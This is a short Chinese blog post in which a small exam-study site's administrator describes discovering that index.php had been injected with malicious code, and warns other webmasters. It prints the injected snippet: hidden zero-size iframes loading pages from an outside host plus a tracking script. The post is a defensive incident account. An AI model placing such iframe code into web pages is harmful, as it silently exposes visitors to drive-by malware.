网站第一次遭遇挂马

今天早上9点多钟登陆网站,一如以前那样.扫了下"最新话题","病毒",这篇新帖子赫然出现在我眼前.赶紧以管理员身份登陆网站,有会员发短信息给我,说论坛有病毒,请赶紧处理.

真的是头一遭遇到这种事.赶紧问图王,排除了程序的问题.但具体的不清楚,也跟空间商联系了.未果.

先自己处理下吧.

还好在站长网学到了些东西.用FTP登陆空间.查看文件的最后修改日期.发现index.php居然是2007.6.22

该死的挂马者.在看别的文件,最近都没有修改过.把index.php下载到本地电脑.用记事本打开查看.发现最后多了几段代码.这里帖出来,也让大家看看:(链接已取消,希望大家未开杀毒软件的不要点开)

—————————————————————————
<iframe src="http://kissrong.3322.org/she.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

<iframe src="http://kissrong.3322.org/she1.htm" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

<iframe src="http://kissrong.3322.org/she2.htm" width="100" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

<script language="javascript" type="text/javascript" src="http://js.users.51.la/957580.js"></script>
<noscript><a href="http://www.51.la/?957580" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/957580.asp" style="border:none" /></a></noscript>
—————————————————————————

无耻的挂马者!!

查看了他的51.la统计代码,显示的是瑞瑞网站

其他的信息没有.

我的站不过是一个学习交流的站,主要针对的群体是国家软考,每天的IP不超过1000,居然能够让别人挂马.真的是没有想到.

心情有点影响.

写出来吧.也给大家提个醒.有些无耻的挂马者真的是不好说.